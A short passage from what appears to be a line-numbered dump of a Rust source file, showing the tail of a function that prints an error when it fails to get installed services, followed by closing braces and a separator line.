740 | println!("Failed to get installed services: {e}"); 741 | } 742 | } 743 | } 744 | --------------------------------------------------------------------------------